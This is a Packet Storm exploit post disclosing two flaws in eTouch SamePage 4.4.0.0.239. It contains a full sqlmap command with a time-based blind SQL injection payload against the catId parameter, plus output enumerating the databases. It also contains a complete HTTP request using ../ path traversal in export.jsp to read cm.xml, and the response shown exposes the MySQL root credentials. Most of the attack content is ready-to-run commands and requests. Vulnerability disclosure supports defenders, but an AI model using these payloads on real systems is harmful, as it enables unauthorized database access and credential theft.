what you don't know can hurt you

eTouch Samepage 4.4.0.0.239 SQL Injection / File Read

eTouch Samepage 4.4.0.0.239 SQL Injection / File Read
Posted Feb 13, 2015
Authored by Brandon Perry

eTouch Samepage version 4.4.0.0.239 suffers from remote SQL injection and arbitrary file read vulnerabilities.

tags | exploit, remote, arbitrary, vulnerability, sql injection, file inclusion
MD5 | fd120265a06f4916b6e09391535be8b2

eTouch Samepage 4.4.0.0.239 SQL Injection / File Read

Change Mirror Download
Couldn’t find anyone to contact regarding this, so dropping it.

eTouch SamePage v4.4.0.0.239 multiple vulnerabilities


http://www.etouch.net/products/samepage/index.html

Enterprise trial was installed in an Ubuntu virtual machine with MySQL. By default, the listening port is 18080.

Required on the Ubuntu machine to install the SamePage binary successfully:
sudo apt-get install libstdc++6:i386 libc6:i386 libXext6:i386 mysql-server

Trial available here:
http://support.etouch.net/cm/wiki/?id=8889

———

Unauthenticated time-based SQL injection in /cm/blogrss/feed servlet

The following URL is vulnerable to a time-based SQL injection in the catId parameter:

http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600

Exploitation with sqlmap:

Brandons-iMac:sqlmap bperry$ ./sqlmap.py -u "http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600" --dbms=mysql -p catId --level=5 --risk=3 -o --technique=t --time-sec=10 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-fd632e5}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 19:08:19

[19:08:19] [INFO] testing connection to the target URL
[19:08:19] [INFO] heuristics detected web page charset 'ascii'
[19:08:19] [INFO] testing NULL connection to the target URL
[19:08:19] [INFO] NULL connection is supported with HEAD header
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: catId (GET)
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: entity=mostviewedpost&analyticsType=blog&catId=-1) AND 6412=BENCHMARK(10000000,MD5(0x73764b7a)) AND (3198=3198&count=10&et_cw=850&et_ch=600
---
[19:08:19] [INFO] testing MySQL
[19:08:19] [INFO] confirming MySQL
[19:08:19] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL >= 5.0.0
[19:08:19] [INFO] fetching database names
[19:08:19] [INFO] fetching number of databases
[19:08:19] [INFO] resumed: 4
[19:08:19] [INFO] resumed: information_schema
[19:08:19] [INFO] resumed: mysql
[19:08:19] [INFO] resumed: performance_schema
[19:08:19] [INFO] resumed: samepage
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] samepage

[19:08:19] [INFO] fetched data logged to text files under '/Users/bperry/.sqlmap/output/192.168.1.25'

[*] shutting down at 19:08:19

Brandons-iMac:sqlmap bperry$


———
Authenticated arbitrary file read via /cm/newui/blog/export.jsp

The following authenticated GET request will read the cm.xml file from the web server installation directory, which contains the database credentials. While authentication is required, by default, creating a user using the user sign-up page is simple.


Request:

GET /cm/newui/blog/export.jsp?filepath=../conf/Catalina/localhost/cm.xml&start=true&et_cw=350&et_ch=100 HTTP/1.1
Host: 192.168.1.22:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.22:8080/cm/newui/blog/export.jsp?pkey=64616d73657373696f6e696468616c6c61626f6c6c613b313432323331333135393433341422313179983&blogalias=fdsaffd&blogdesc=fdsafdsafdsa&starttime=1422313179983&start=true
Cookie: JSESSIONID=8D2B23DCF68ACD2623B390942E71F2E5; c_wiki_browser=1
Connection: keep-alive




Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename=cm.xml
Content-Type: application/zip
Content-Length: 864
Date: Tue, 27 Jan 2015 00:42:53 GMT

<Context path="/cm" docBase="../../cm" debug="0" reloadable="false" crossContext="true" autodeploy="true">
<Resource name="CMPOOL" auth="Container" type="com.atomikos.jdbc.nonxa.NonXADataSourceBean"
factory="org.apache.naming.factory.BeanFactory"
uniqueResourceName="CMPOOL"
driverClassName="com.mysql.jdbc.Driver"
user="root"
password="password"
poolSize="10"
validatingQuery ="SELECT 1"
url="jdbc:mysql://localhost:3306/samepage" />
<Transaction factory="com.atomikos.icatch.jta.UserTransactionFactory" />
<Resource name="UserTransaction" auth="Container" type="javax.transaction.UserTransaction"
factory="com.atomikos.icatch.jta.UserTransactionFactory" />
<Resource name="TransactionManager" auth="Container" type="com.atomikos.icatch.jta.UserTransactionManager"
factory="org.apache.naming.factory.BeanFactory" />
</Context>


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    16 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close